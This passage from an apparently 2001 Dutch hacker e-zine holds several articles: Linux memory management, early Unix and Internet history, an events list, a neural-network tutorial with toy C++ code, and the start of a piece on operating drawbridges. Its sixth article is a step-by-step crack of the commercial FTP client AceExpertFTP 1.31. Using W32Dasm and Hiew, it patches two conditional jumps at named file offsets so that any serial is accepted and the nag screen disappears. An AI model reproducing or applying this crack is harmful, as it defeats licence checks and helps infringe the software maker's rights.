in init/main.c, die zit op PAGE_OFFSET+een_adres.
/*
* Enable paging
*/
3:
movl $swapper_pg_dir-__PAGE_OFFSET,%eax
movl %eax,%cr3 /* set the page table pointer.. */
movl %cr0,%eax
orl $0x80000000,%eax
movl %eax,%cr0 /* ..and set paging (PG) bit */
jmp 1f /* flush the prefetch-queue */
1:
movl $1f,%eax
jmp *%eax /* make sure eip is relocated */
1:
het stukje code tussen de twee 1: labels laden het adress van de 2e label 1:
in EAX en jumped daar. Op dat moment zal de instructie pointer EIP pointen
naar een physical locatie 1MB+iets. De labels zitten allemaal in virtual
kernel space.
Nog wat afkortingen die je zou moeten kennen ;)
OOM - Out Of Memory
MMU - Memory Management Unit
TLB - Translation Lookaside Buffer
LRU - Least Recently Used
LFU - Least Frequently Used
NRU - Not Recently Used
NFU - Not Frequently used
KSEG - Kernel Code
Physical - Hoeveel geheugen er eigenlijk daadwerkelijk is
Virtual - Het physical gedeelte zeg maar voorliegen en zeggen dat er meer is
Conclusie:
Er is nog genoeg te doen en genoeg te verbeteren aan het (virtual) memory ge-
deelte (van *nix) en dat zal altijd blijven zolang het open source blijft.
That's it, dit was min of meer een inleiding in de basis van memory manage-
ment, voor meer info check het web en /usr/src/linux comments etc kan je
sturen naar moussa.m@wanadoo.nl
Laterz,
Max
Credits/Greetz:
Argv[],Skeruno,Cinder,MrFloat,Asby,Thijs,F399,Taezz,Morphje+velen_anderen
-------------------------------------------------------
06. Crack AceExpertFTP
-------------------------------------------------------
Ik heb alle nummers van H4H gelezen. En nadat ik twee artikelen tegenkwam
over hoe je een programma crackt, besloot ik er ook een artikel over te
schrijven, gewoon omdat ik daar (op dit moment) meer verstand van heb dan
inbreken in systemen e.d.
Ik zal zometeen uitleggen hoe je AceExpertFTP 1.31 crackt. AceXFTP is een GUI
(Graphical User Interface) ftp client. Erg handig voor degene die niet met
dos of telnet commando's verbinding kan maken met een ftp. En natuurlijk erg
handig voor de newbie hackertjes die via ftp een passwd-filetje proberen te
bemachtigen (blijf proberen kids). Je kunt AceXFTP krijgen op:
http://www.visicommedia.com of je zoekt het op http://www.download.com
Genoeg geklets over alles en nog wat, LETS CRACK!
Programma's die je nodig hebt:
-W32Dasm (te krijgen op www.protools.cjb.net of www.crackstore.com)
-Hiew (idem)
-Pen en papier (te jatten van je leraar zijn bureau)
-Hersens (als het goed is heb je zoiets gekregen bij je geboorte, zo niet,
surf dan naar:
www.ineedbrains.com)
Als je AceXFTP geinstalleerd hebt, open je AceXFTP.exe. Volgen jullie me
nog? Heel goed.
Zoek nu naar iets zoals een Register knop. Klik op Help, dan op Register...
Vul je (nick)name in en een nummertje zoals 12345 en druk op [enter]
Je krijgt nu een berichtje te zien, er staat zoiets als: Invalid
registration number.
Hmm, dat is niet het berichtje dat wij wilden zien. Of toch weer wel. In
ieder geval is het beter
dan helemaal geen berichtje. Schrijf het berichtje op of onthoudt het (als
het niet al te veel
moeite is).
Oke, nu kunnen we AceXFTP afsluiten, maar hey, wat is dit nou, er komt elke
keer als we afsluiten
een "nag" tevoorschijn (een nag is een schermpje dat bij het opstarten of
afsluiten tevoorschijn
komt, meestal als het ongeregistreerd is).
Daarin staat: Unregistered User. Schrijf die ook maar op.
We hebben nu twee dingen op papier staan:
-Invalid registration number.
-Unregistered User.
Maak nu een paar kopietjes van AceXFTP, 1 voor backup, 1 voor W32Dasm en 1
voor Hiew.
Klaar..? Oke, dan kunnen we nu echt beginnen.
Open W32Dasm en klik op die mooie knop helemaal linksboven met dat schijfje
erop en dat zwarte
pijltje dat naar dat mooie blauwe filetje wijst, of klik op Disassembler ->
Open file to Disassemble...
Selecteers nu AceXFTP.exe en klik op openen. Nu hangt het van de snelheid
van je pc af hoe snel
het klaar is met disassemble.
Als het klaar is zie je de Disassembly listing. Dit is de ASM code van
AceXFTP.exe
We willen nu weten waar in de code het "foute" berichtje (Invalid
registration number) staat.
We klikken nu dus op de knop, naast de knop met de printer erop. Als je goed
kijkt zie je Strn
erop staan. Ref
Er komt nu een schermpje met allemaal regels tevoorschijn. Het staat op
alfabetische volgorde,
scroll naar beneden totdat je "Invalid registration number." ziet staan.
Dubbelklik erop totdat
je hier terechtkomt:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B13EB(C) <<----deze moeten we volgen.
|
:004B1471 6A30 push 00000030
* Possible StringData Ref from Code Obj ->"AceFTP" <<------titelbalk
(caption) v.h. berichtje
|
:004B1473 B9B8144B00 mov ecx, 004B14B8
* Possible StringData Ref from Code Obj ->"Invalid registration number."
<<----foute berichtje
|
:004B1478 BAC0144B00 mov edx, 004B14C0 <<----hier kwamen we
precies terecht.
Zie je 004B13EB(C), dat is de jump waar het slechte berichtje vandaan komt,
om te kijken waar die
slechte jump zich bevindt, druk je op Shift+F12 en vul je 004B13EB in en je
klikt op OK.
Dit komt nu tevoorschijn:
:004B13B2 8D55F0 lea edx, dword ptr [ebp-10]
:004B13B5 8B83D4020000 mov eax, dword ptr [ebx+000002D4]
:004B13BB E84490F9FF call 0044A404
:004B13C0 8B55F0 mov edx, dword ptr [ebp-10]
:004B13C3 8D4DFC lea ecx, dword ptr [ebp-04]
:004B13C6 A128C84E00 mov eax, dword ptr [004EC828]
:004B13CB 8B00 mov eax, dword ptr [eax]
:004B13CD E8E2BE0000 call 004BD2B4
:004B13D2 8D55EC lea edx, dword ptr [ebp-14]
:004B13D5 8B83D8020000 mov eax, dword ptr [ebx+000002D8]
:004B13DB E82490F9FF call 0044A404
:004B13E0 8B55EC mov edx, dword ptr [ebp-14]
:004B13E3 8B45FC mov eax, dword ptr [ebp-04]
:004B13E6 E8452DF5FF call 00404130
:004B13EB 0F8580000000 jne 004B1471 <<---------------hier kwamen
we terecht.
:004B13F1 A128C84E00 mov eax, dword ptr [004EC828]
:004B13F6 8B00 mov eax, dword ptr [eax]
:004B13F8 C680A007000000 mov byte ptr [eax+000007A0], 00
:004B13FF 8D55E8 lea edx, dword ptr [ebp-18]
:004B1402 8B83D8020000 mov eax, dword ptr [ebx+000002D8]
:004B1408 E8F78FF9FF call 0044A404
:004B140D 8B45E8 mov eax, dword ptr [ebp-18]
:004B1410 50 push eax
:004B1411 8D55E4 lea edx, dword ptr [ebp-1C]
:004B1414 8B83D4020000 mov eax, dword ptr [ebx+000002D4]
:004B141A E8E58FF9FF call 0044A404
:004B141F 8B55E4 mov edx, dword ptr [ebp-1C]
:004B1422 A128C84E00 mov eax, dword ptr [004EC828]
:004B1427 8B00 mov eax, dword ptr [eax]
:004B1429 59 pop ecx
:004B142A E8A9C00000 call 004BD4D8
:004B142F 6A40 push 00000040
* Possible StringData Ref from Code Obj ->"AceFTP" <<----juist ja, caption
v.h. goede berichtje.
|
:004B1431 B9B8144B00 mov ecx, 004B14B8
* Possible StringData Ref from Code Obj ->"Thank you for registering. The "
<<---HEY, het goede
->"software is now registered in "
<<---berichtje!!
->"your name."
De jump (jne in dit geval) is precies de goede jump. Als er namelijk een
verkeerd nummer wordt
ingegeven, dan komt het goede berichtje niet tevoorschijn, vandaar de jne
(jump if NOT equal).
Nu komt het gedeelte waar je je hersens nodig hebt. Als we dus een fout
nummer ingeven, komt
het "foute" berichtje tevoorschijn. We moeten het progamma dus zo
manipuleren dat als we een
fout nummer ingeven, dat het goede berichtje tevoorschijn komt. Omdat te
bereiken veranderen we
die "jne" in een "je" zo zal het goede berichtje tevoorschijn komen als we
een fout nummer
ingeven. Nu we dit hebben, moeten we de offset hebben van het adres waar die
"jne" op staat.
Dubbelklik op de "jne" en kijk onderaan in W32Dasm, je ziet dit:
@Offset 000B07EBh in file AceXFTP.exe
De offset is hier: B07EB
De nullen ervoor zijn niet nodig en de "h" erachter staat voor hex, die kun
je ook weglaten.
Schrijf de offset op.
Nu gaan we Hiew gebruiken om de "jne" in een "je" te veranderen. Gebruik
hier een kopietje van
AceXFTP.exe voor en plaats hem in de map waar je Hiew in hebt staan.
Open Hiew nu en selecteer AceXFTP.exe en druk op [enter]
Je ziet nu weer allemaal code, maar zorg wel dat je de goede code voor je
hebt. Druk op F4, je
krijgt nu 3 opties:
-Text
-Hex
-Decode
Selecteer Decode en druk op [enter]
--------------------------------------------------------------------------
Voor degene die gelijk in Decode mode terecht willen komen als ze een
bestandje in Hiew openen.
--------------------------------------------------------------------------
In je map waar je Hiew in hebt staan, staat ook een Hiew.ini, open die.
Als je nu op de eerst regel kijkt, zie je zoiets als dit staan:
StartMode = Text ; Text | Hex | Code
Als je deze regel verandert in:
StartMode = Code ; Text | Hex | Code
dan start Hiew gelijk op in Decode mode.
--------------------------------------------------------------------------
Waar waren we gebleven..?? O ja, je zit nu in Decode mode in Hiew, in
AceXFTP.exe.
We moeten nu naar de offset gaan die we opgeschreven hebben om de "jne" te
veranderen.
Druk op F5 en vul B07EB in en druk op [enter] je ziet nu dit:
.004B13EB: 0F8580000000 jne
/\
||
hier staat de grijze cursor
Ga nu 1 stap naar rechts met de cursor, je staat nu op 85. Deze 85 staat
voor de jne.
Omdat het een je moet worden, veranderen we die 85 in 84.
Druk op F3, je krijgt nu een geel knipperend cursortje, typ 84 en druk op F9
(Update)
De regel ziet er nu zo uit:
.004B13EB: 0F8480000000 je
Nu kunnen we afsluiten, druk op F10. Kopier de gepatchte AceXFTP.exe vanuit
je Hiew map naar je
AceFTP map. Open AceXFTP.exe opnieuw en probeer te registreren.....JAA, het
goede berichtje.
Even checke in de About-box of je naam er ook staat....bale, er staat nog
steeds Unregistered
User. En als we afsluiten komt die vervelende nag er weer voor.
Maar niet getreurd, we geven niet zo snel op. Wat hadden we ook al nog meer
opgeschreven:
-Invalid registration number.
en..
-Unregistered User.
Hmmm, misschien moeten we er voor zorgen dat dat zinnetje oprot zodat onze
naam er kan staan.
Laten we dat maar gaan doen.
Volg dezelfde procedure maar weer om AceXFTP.exe te disassemble met W32Dasm.
Klik weer op de Strn knop.
Ref
Scroll naar beneden totdat je dit ziet: "Unregistered User" en dubbelklik
erop. Je komt hier
terecht:
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004B5E10(C) <<----deze maar weer volgen.
|
:004B5E3E 8B45FC mov eax, dword ptr [ebp-04]
:004B5E41 05A4070000 add eax, 000007A4
* Possible StringData Ref from Code Obj ->"Unregistered User" <<------foute
zinnetje.
Als je hiervoor een beetje hebt opgelet weet je nu wat je moet doen, ik zal
nu in een paar
stappen uitleggen hoe je dit oplost.
Druk op Shift+F12 -> vul 004B5E10 in, klik op OK. Je komt hier terecht:
:004B5DE8 B93C684B00 mov ecx, 004B683C
:004B5DED 8B45F8 mov eax, dword ptr [ebp-08]
:004B5DF0 E873CCFBFF call 00472A68
:004B5DF5 8B459C mov eax, dword ptr [ebp-64]
:004B5DF8 50 push eax
:004B5DF9 8D4D98 lea ecx, dword ptr [ebp-68]
:004B5DFC 8B55F0 mov edx, dword ptr [ebp-10]
:004B5DFF 8B45FC mov eax, dword ptr [ebp-04]
:004B5E02 E8AD740000 call 004BD2B4
:004B5E07 8B5598 mov edx, dword ptr [ebp-68]
:004B5E0A 58 pop eax
:004B5E0B E820E3F4FF call 00404130
:004B5E10 752C jne 004B5E3E <<-------hier kwamen we
terecht. Slechte jump.
:004B5E12 8B45FC mov eax, dword ptr [ebp-04]
:004B5E15 05A4070000 add eax, 000007A4
:004B5E1A 8B55F0 mov edx, dword ptr [ebp-10]
:004B5E1D E8D2DFF4FF call 00403DF4
:004B5E22 8B45FC mov eax, dword ptr [ebp-04]
:004B5E25 8B80A4040000 mov eax, dword ptr [eax+000004A4]
:004B5E2B 33D2 xor edx, edx
:004B5E2D E8CA4CFAFF call 0045AAFC
:004B5E32 8B45FC mov eax, dword ptr [ebp-04]
:004B5E35 C680A007000000 mov byte ptr [eax+000007A0], 00
:004B5E3C EB26 jmp 004B5E64
Deze "jne" zorgt ervoor dat Unregistered User blijft staan bij een fout
ingevoerd serialnummer.
We gaan hem dus veranderen in een "je".
Noteer eerst de offset (B5210).
Ga nu naar Hiew en open AceXFTP.exe (zorg dat je weer in Decode mode bent)
druk op F5 -> vul
offset in -> druk op [enter] en je ziet dit:
.004B5E10: 752C jne
Verander de 75 in een 74 en druk op F9, het ziet er nu zo uit:
.004B5E10: 742C je
**********************************************************
*NB: 0F85 en 75 staan voor jne. 0F84 en 74 staan voor je.*
**********************************************************
Druk nu op F10 en kopier je (voor de 2e keer gepatchte) AceXFTP.exe naar je
AceFTP map.
Open AceXFTP nu weer en kijk es in je About box.....en....ja....JE NAAM
STAAT ER. hoop ik, anders
moet je nog ff een keer registreren en dan staat ie er dan wel.
Sluit AceFTP nu af.....het nag is niet meer. Geweldig.
Ik hoop dat jullie weer wat wijzer zijn geworden door dit artikel.
By -CDM-
-------------------------------------------------------
07. De geboorte van een netwerk:Internet (deel 2)
-------------------------------------------------------
Tijden veranderen, nicks veranderen, shit happens.
Nu door met 't 2de deel van het artikel.
Het onstaan van Unix: 1969-1973
In 1969 (in hetzelfde jaar dat ARPANET werd uitgevonden) ontwikkeld Ken Thompson van Bell Labs
(samen met Dennis Ritchie en Joseph Osanna) de eerste versie van Unix. Als hardware gebruikten
ze de PDP-7 van Digital Equipment Corporation (DEC). De software had Thompson zelf geschreven.
Het Unix-systeem van Thompson vertoont geen gelijknis met het moderne Unix. Het moderne Unix is
bijvoorbeeld een multi-usersysteem. (Dat wil zeggen dat verschillende gebruikers simultaan op
één Unix-machine kunnen werken.) Thompsons eerste prototype daarentegen was een
single-usersysteem en een naakt besturingssysteem. Wat wordt er bedoeld met de term naakt?
Wanneer je aan een besturingssyteem denkt, stel je je waarschijnlijk iets voor met
basisprogramma's, texteditors, helpbestanden, een grafische gebruiksinterface, netwerkprogramma's
enz enz. Dat komt doordat huidige systemen voor eindgebruikers tegenwoordig uiterst complex zijn
en een gebruiksvriendelijke structuur hebben. Het eerste Unix-systeem was echter totaal anders.
Om te kunnen functioneren beschikte het alleen maar over de meest elementaire hulpprogramma's.
Je moet je even in de plaats van stellen van Thompson. Voordat je tientallen complexe programma's
ontwerpt, zoals de programmma's die we zojuist hebben genoemd, word je met een veel praktischer
taak geconfronteerd: je moet er namelijk in slagen het systeem te booten.
Thompson slaagde er uiteindelijk in zijn systeem te laten opstarten. Hij werd echter met talloze
problemen geconfronteerd. Een daarvan was dat de programmeertaal die hiervoor werd gebruikt daar
niet echt geschikt voor was. Maar ook hier hielp het noodlot een handje. Op dat ogenblik
ontwikkelden andere onderzoekers bij Bell Labs (Dennis Ritchie en Brian Kernighan) een nieuwe
programmeertaal, namelijk C.
Over C
C wordt vaak gebruikt om besturinngssystemen en compilers voor programmeertalen te schrijven.
C is van grote invloed geweest op de ontwikkeling van Internet.
Tegenwoordig zijn bijna alle toepassingen die communicatie via Internet mogelijk maken geschreven
in C. Zowel Unix (dat de basisstructuur vormt van Internet) als TCP/IP (de verzameling protocollen
die gegevens verstuurt via Internet) werd in C ontwikkeld. Als C er niet was geweest, had Internet
zoals we het nu kennen nooit bestaan.
Er zijn diverse redenen waarom C zo populair is:
* C is klein en efficient;
* de code in C kan gemakkelijk van het ene besturingssysteem naar het andere worden overgedragen;
* C is gemakkelijk en snel te leren.
De onderzoekers bij Bell Labs waren zich alleen van de eerste reden bewust toen ze Unix in C
herschreven. Dat is namelijk wat ze deden. Thompson en Ritchie plaatsten Unix op een DEC PDP-11/20.
Vanaf dat moment maakte Unix een enorme ontwikkeling door. Tussen 1970 en 1973 werd Unix volledig
in C herschreven. Dit betekende een belangrijke vooruitgang. Bovendien werden er veel bugs verholpen
die inherent waren aan het oorspronkelijke Unix-systeem.
De vormingsjaren van Internet: 1972-1975
Ik laat de verdere ontwikkeling van Unix en C even rusten, omdat er tussen 1972 en 1975 op andere
gebieden vooruitgang werd geboekt. Deze vooruitgang bepaalde de in hoge mate hoe en waarom Unix
als besturingssysteem voor Internet werd gekozen.
In 1972 had ARPANET ongeveer veertig hosts. (Tegenwoordig hebben de meeste local area networks, LAN's,
er meer.) In dat jaar veranderede een medewerker van Bolt, Beranek, and Newman Inc., te weten
Ray Tomlinson, voorgoed de communicatie op Internet. Tomlinsen ontwikkelde de elektronische post,
kortweg e-mail.
Tomlinsons uitvinding was waarschijnlijk de belangrijkste ontdekking in de computergeschiedenis.
E-mail maakte immers eenvoudige, efficiente en goedkope communicatie mogelijk. Dit resulteerde in open
uitwisseling van ideeën en samenwerking tussen verschillende soorten onderzoekers in meerdere staten.
Doordat een e-mailbericht meerdere ontvangers kon hebben, waren ideeën sneller op de plaats van
bestemming en werden ze sneller uitgevoerd. Dit was in feite de geboorte van het Net.
In 1974 werd er nog een belangrijke ontdekking gedaan: Vinton Cerf en Robert Khan vonden het
Transmission Control Protocol (TCP) uit. Dit protocol was een nieuw hulpmiddel waarmee men gegevens
bit voor bit kon uitwisselen via een netwerk en waarmee men die fragmenten aan het andere uiteinde
opnieuw kon samenvoegen.
Omstreeks 1975 was ARPANET een volledig functioneel netwerk. Het belangrijkste werk was achter de rug,
en dus vond de Amerikaanse overheid het tijd worden de boel op te eisen. Datzelfde jaar werd de controle
van het ARPANET overgedragen aan een organisatie met de naam United States Defense Communications
Agency. (De naam van deze organisatie werd later gewijzigd in Defense Information Systems Agency.)
Nu hoefde men alleen nog een besturingssysteem te kiezen voor ARPANET. De keuze viel uiteindelijk
op Unix. De redenen hiervoor zijn nogal ingewikkeld. Ik bespreek ze in de volgende deel.
Rath aka Rath_x
rath_x@subdimension.com
-------------------------------------------------------
08. Evenementen
-------------------------------------------------------
Wet bescherming Persoonsgegevens
Avondlezing
URL: ??? (Tel: 030-2844510)
Datum: 15 november 2001
Locatie: Utrecht
--
E-Government
Avondlezing
URL: ??? (Tel: 030-2844510)
Datum: 22 november 2001
Locatie: Amsterdam
--
HCC Dagen
Geen verderdere toelichting nodig ;)
URL: http://www.hccdagen.nl/
Datum: 23 t/m 25 november 2001
Locatie: Jaarbeurs Utrecht
--
Smart Business Event 2001
Internet in Business, Mobile & Wireless, Media & Markets en ICT Career Days
URL: http://www.infocare.com/events/mde-corporate.html
Datum: 26 t/m 28 november 2001
Locatie: Rai in Amsterdam
--
Linux Kongresse
Met oa lezingen over Kernel Hacking
URL: www.linux-kongress.org
Datum: 28 t/m 30 november 2001
Locatie: TU Enschede
--
Voice-over-IP
Wanneer VoIP inzetten?, Hoe ver is de techniek?, En hoe ziet de toekomst eruit?
Verder nog een speciale Video-over-IP track en diverse praktijkcases.
URL: http://www.infocare.com/events/voiceover-ip2.html
Datum: 4 december 2001
Locatie: Ahoy' Amsterdam
--
BRAQ
Dit is wat er verder (min of meer) vaststaat:
Alcohol - Wiet - Caffeine (Jolt)
Computers - Internet - Files - Games
Guests from: #h4h #hit2000 #tuxtendo #braq - Eerst ff vragen of je mag komen, invite only
Small entree fee (max. f 10)
Haarlem, kewl old building, Waarschijnlijk slaapruimte
ADSL 1024/256kbit inet +- 35-40 pple
URL: http://dokterbob.xs4all.nl/braq
Datum: 21 t/m 23 dec. Of 4 t/m 6 Jan.
Locatie: Haarlem
--
Gelderlan
GelderLAN 2001 is de 2e editie van GelderLAN en zal plaats bieden aan 125 bezoekers met als
doel het spelen van computergames en het sociale gebeuren daar om heen. Daarnaast organiseert
GelderLAN 2001 een aantal competities in de meest populaire spellen, en heeft een daarbij altijd
een coole prijs voor de winnaar.
URL: http://gelderlan.aalderingict.net/
Datum: 27/28/29 dec. 2001
Locatie: Liemers College te didam
--
Outerbrains 2K2
Outerbrains 2K2 is de opvolger van Bizarre en voor een groot deel door H4H georganiseerd.
Het is een competitie gebaseerd evenement, dat betekend dat er diverse wedstrijden op gebied van
zowel de demo-scene als hackers-scene zullen plaatsvinden. Hierbij is te denken aan diverse
programmeer wedstrijden voor realtime 3d presentaties, muziek competities, computer getekende
afbeeldingen en algoritme hacks. In iedergeval 3 dagen non-stop plezier!
URL: http://www.outerbrains.nl
Datum: 27/28/29 Sept. 2002
Locatie: 'De Nobelaer' te Etten-Leur
--
Dit zijn de evenementen voor de komende periode. Mochten we evenementen
gemist hebben en waarvan jij vindt dat ze er bij moeten staan mail dat dan naar
h4h-redactie@hackers4hackers.org
-------------------------------------------------------
09. Artificieele Neurale Netwerken
-------------------------------------------------------
Waarom een tutorial over neurale netwerken?
Omdat neurale netwerken een vrij nieuwe manier van programmeren is. Het is
ipv de ouderwetse
'symbolische' computing (de Von Neumann machine) een hele parallelle manier
van informatie
verwerking. Het wordt steeds belangrijker en vaker gebruikt. Deze tutorial
leert je wat NNs
zijn en hoe je simpele NNs kan coden. De links onderaan bevatten genoeg info
om je eigen OCR
prog of zo te programmeren.
NNs
Heb je je ooit afgevraagd hoe die speech recognition, OCR progs enz werken?
Het is eigenlijk
best wel simpel... Ze processen hun data mbv dingen genaamd Neurale
Netwerken. Je hersenen
zijn ook neurale netwerken (NNs). Ze bestaan uit neuronen. Neuronen zijn de
processing units
in het NN. De hersenen zijn biologische NNs, ik heb het in deze tutorial
over
Artificieele NNs (ANNs).
ANNs zijn gebaseerd op het biologische NN model. Ze bezitten ook neuronen en
axons (de
verbindingen tussen de neuronen). Hier ff een tekening ter verduidelijking:
I1----\
|--- N -> output
I2----/
--\_ = axon (synaps)
I = input
N = neuron
Dit is een simpel neuron met 2 inputs (geen netwerk dus). In een NN wordt
de output van de ene
neuron doorgegeve aan de andere neuren (in NNs genaamd "feedforward NNs"
worden ze alleen
doorgegeven naar de volgende laag neuronen (zie tekening hieronder) en in
NNs genaamd
"feedback NNs" kunnen ze aan elk willekeurig neuron in het hele netwerk
worden doorgegeven).
De axons hebben een bepaalde waarde, genaamd weight. Als een waarde over
deze axons naar een
neuron gaat wordt het vermenigvuldigt met deze waarde.
Een neuraal netwerk met 3 lagen en 3 inputs:
I1 I2 I3 ---Laag van inputs (bijv. kleur van pixels in RGB)
| | | ---de "axons" oftewel verbindingen tussen de neuronen
| | |
N N N ---de neuron-inputlaag
\__ __/\__ __/ ---ook axons
\ / \/
N N ---de zgn. "hidden layer" (elke laag
\__ __/ neuronen tussen de input en output laag heet hidden)
\/
N ---de outputlaag
|
output ---de output (bijv. een ascii waarde als het ging om
herkenning van een char uit een bmp of zo)
Dit is dus een feedforward net, de neuronen versturen hun output alleen
verder naar de
volgende laag. Dit is het simpelste NN van de twee.
NNs worden dus gebruikt voor patroonherkenning. Dit kan zijn in spraak,
foto's, maar
voortaan worden ze ook gebruikt in de medische wereld om diagnoses te
schrijven, ipv
dat een chirurg dat doet. Ook worden ze gebruikt voor beleggen. Dan
voorspellen ze koersen
en zo door van oudere koersen te leren. Ze zijn vaak precieser dan mensen in
voorspellen.
Het Neuron
Het neuron voert eerst een optelling op van alle waarden die via de axons
zijn binnengekomen.
(Het neuron kan ipv optellen ook het hoogste of laagste getal nemen, een
logische operator
uitvoeren als het om een binair NN gaat of wat dan ook om tot een bepaalde
waarde te komen.)
Na deze optelling vergelijkt de neuron de waarde die hij heeft gevonden met
zijn "threshold".
Dit kan een functie zijn (bijvoorbeeld een hyperbolische sinus of zo) en
vergelijkt die waarde
dan met een waarde of de neuron moet vuren (een bepaalde output hebben) of
niet, en als hij
wel een output heeft dan kijkt hij hoe groot deze output is (tenzij het
binair is, dan is het
gewoon 1 of 0...).
Leren
Een NN "leert" (het wordt dus niet kant en klaar geprogrammeerd, het moet
eerst nog getraind
worden om bijvoorbeeld spraak of zo te herkennen) door de waarden van zijn
'axons' aan te
passen aan de hand van een getal genaamd de error waarde. (Maar er zijn
tegenwoordig ook
NNs die grotendeels door een genetisch algoritmen worden geprogrammeerd.)
Je hebt 2 manieren van leren, supervised en unsupervised. De eerste is het
simpelst
en meest gebruikt. Hieronder een voorbeeld (en de c++ code die onderaan
staat) van supervised
training. Unsupervised wil zeggen: het NN deelt zelf dingen in. Het maakt
groepen van dingen
die het herkent als overeenkomende. Bij supervised training is het antwoord
al bekend, en
wordt het vergeleken met het antwoord dat het NN geeft. Als dit niet klopt
worden de weights
aangepast. Over supervised training is veel meer bekend dan unsupervised.
Ik zal hier beneden
het simpelste voorbeeld van een leerfunctie geven, van een binair ANN, dat
een logische
operator (AND operator) leert. Het is eigenlijk geen netwerk maar gewoon 1
neuron (meer
is niet nodig voor het leren van zo'n simpele opdracht als het uitvoeren van
een logische
functie). Om het ANN te trainen heb je de tabel van de AND operator nodig:
0 0 -> 0
0 1 -> 0
1 0 -> 0
1 1 -> 1
Het neuron in mijn voorbeeld gebruikt de (binaire) Hebb learning rule:
if(input > THRESHOLD)
output = 1
if(input < THRESHOLD)
output = 0
Input is dus de optelling van de binnenkomende waarden. De Hebb learning
rule past de weights
van de axons zo aan:
nieuwe gewicht = oude gewicht + a * doel * input
a = de zgn learning rate. Dit is een getal dat je zelf kan instellen. Als de
learningrate groot
is gaat het leren sneller dan met een kleine learningrate, maar het is
onnauwkeuriger.
Nog een schematisch voorbeeld van uitgevoerde functies in het voorbeeld:
2 inputs -> vermenigvuldigt met de weight van de axons -> opgeteld door het
neuron ->
neuron vergelijkt met threshold -> neuron geeft output -> Hebb learning rule
checkt of het
klopt, zo ja dan doet het niets, als het niet klopt past het de weight aan
(de supervised
versie van de Hebb rule tenminste).
Dit is een erg simpel voorbeeld. Je snapt wel dat ANNs die dingen doen als
spraakherkenning
complexer zijn, maar ze werken via hetzelfde principe. Ze bevatten meerdere
neuronen
en meerdere lagen neuronen. Het gemiddelde ANN bestaat uit 10 neuronen. De
hersenen bevatten
er zo'n 100 miljard.
De C++ code voor bovenstaand voorbeeld (de code stelt nix voor, het is maar
om je een idee te geven van hoe het ongeveer werkt):
//-----------------------------------------------------------------
/*
De code dus. Hij is niet Object Oriented omdat ik dat niet nodig
vind voor zoiets simpels. als het NN meerdere layers krijgt is da wel
handig.
Doe ermee wat je wil :)
description:
een neuron die de AND logic operator leert dmv supervised training met
de Hebb learning rule. je kan dingen aanpassen om te kijken hoe het trainen
beter zou kunnen (de learningrate bijvoorbeeld).
*/
#include <iostream.h>
#include <stdlib.h>
#define WEIGHT 0
#define THRESHOLD 0
#define LEARNINGRATE 0.05
#define BIAS -1 //bias is een getal dat na de optelling
//van het totaal wordt opgeteld
bool neuron(float inputOne, float inputTwo)
{
if((inputOne + inputTwo)+BIAS > THRESHOLD)
return 1;
return 0;
}
bool and(int inputOne, int inputTwo)
{
if(inputOne == 0 && inputTwo == 0)
return 0;
if(inputOne == 0 && inputTwo == 1)
return 0;
if(inputOne == 1 && inputTwo == 0)
return 0;
if(inputOne == 1 && inputTwo == 1)
return 1;
exit(0);
}
int main()
{
float weight = WEIGHT;
int count = 0;
int inputOne, inputTwo;
cout << "\nTraining..." << endl;
for(;;)
{
count++;
if(count == 1)
{
inputOne = 0;
inputTwo = 0;
}
if(count == 2)
{
inputOne = 0;
inputTwo = 1;
}
if(count == 3)
{
inputOne = 1;
inputTwo = 0;
}
if(count == 4)
{
inputOne = 1;
inputTwo = 1;
}
weight = weight + LEARNINGRATE * (inputOne + inputTwo) * and(inputOne,
inputTwo);
if(count==4)
count = 0;
if(neuron(weight*0, weight*0) == 0 &&
neuron(weight*0, weight*1) == 0 &&
neuron(weight*1, weight*0) == 0 &&
neuron(weight*1, weight*1) == 1 )
break;
}
cout << "Neuron getrained, weight = " << weight << endl << endl;
cout << "0 AND 0 -> " << neuron(weight*0, weight*0) << endl;
cout << "0 AND 1 -> " << neuron(weight*0, weight*1) << endl;
cout << "1 AND 0 -> " << neuron(weight*1, weight*0) << endl;
cout << "1 AND 1 -> " << neuron(weight*1, weight*1) << endl;
return 0;
}
//-----------------------------------------------------------------
Links naar sites over ANNs:
http://www.dacs.dtic.mil/techs/neural/neural_ToC.html een boek over ANNs
http://www.shef.ac.uk/psychology/gurney/notes ook een boek
http://foobar.starlab.net/~degaris het grootste ANN dat er momenteel is
(gemaakt mbv GA/CA)
Tutorial en code door s1L1c0n
18/06/2001
(PS: Ik ben geen hacker maar gewoon iemand die (heel erg) is geinteresseerd
in dit onderwerp
en er alles over wil leren (of is dat een hacker? :) Als je relaxe tutorials
hebt over NNs
of andere AI onderwerpen kun je ze naar me mailen: losertje1984@hotmail.com.
grtz)
-------------------------------------------------------
10. Plezier met Bruggen
-------------------------------------------------------
Eerst even voor de duidelijkheid; bruggen zijn groot/zwaar/lomp, heel duur
en gevaarlijk. Spelen met bruggen mag alleen gebeuren door daarvoor bevoegde
personen! enz. en er is ook nog verkeer!! autos, fietsers, boten (een
geladen
vrachtschip weegt rustig een paar honder ton en remt echt niet snel)
In een ver verleden ben ik ergens in zh ooit eens brugwachter geweest. Zo n
lief
plaatsje met heel veel bruggen. De meeste bruggen worden met de hand
bediend, maar
we hadden er ook een paar (drie, hmm) op afstand. Eerst maar ff de basics
van het
bedienen van een brug uitleggen, dan ga ik daarna wel het een en ander
vertellen
over afstandbediende bruggen.
Handbediende bruggen werken inprincipen het zelfde als de al eerder door
Tozz (h4h-04/12.txt) behandelde stoplichtkasten. Het mechanischgedeelte van
de
brug is aangesloten op een mooie kast met relais/pcl (?), deze stuur je (met
de
hand) aan, gewoon een doos met knopjes, open/dicht, noodstop, zachte stop en
de
bediening van de verkeerslichten. Het is wel zo makkelijk als je de knopjes
in de
goede volgorde indrukt anders doet i als nog niets (het wordt saai zo, maar
het is
ff nodig voor de ab bruggen straks).
-----------------------------
stap nul; stroom, sleutel omdraaien of een vergelijkbare handeling
stap een; aanzetten, de noodstop er afhalen anders gaan er wel lichtjes
knipperen
maar doet i niets
stap twee; (meestal geen fysieke handeling voor nodig/alleen bij oude
bruggen) de
wegdekvergendeling losmaken
...vaak zit het stuk dat open kan vast aan de rest van de brug met een paar
grote
haken, kijk maar eens bij wat ouder bruggen aan de zijkant, vlak voordat het
dek
omhooggaat schuiven daar eerst flinke stukken staal uit :-)
stap drie; verkeerslichten voor het weg- en vaar- (boten/schepen duh)
verkeer goed zetten,
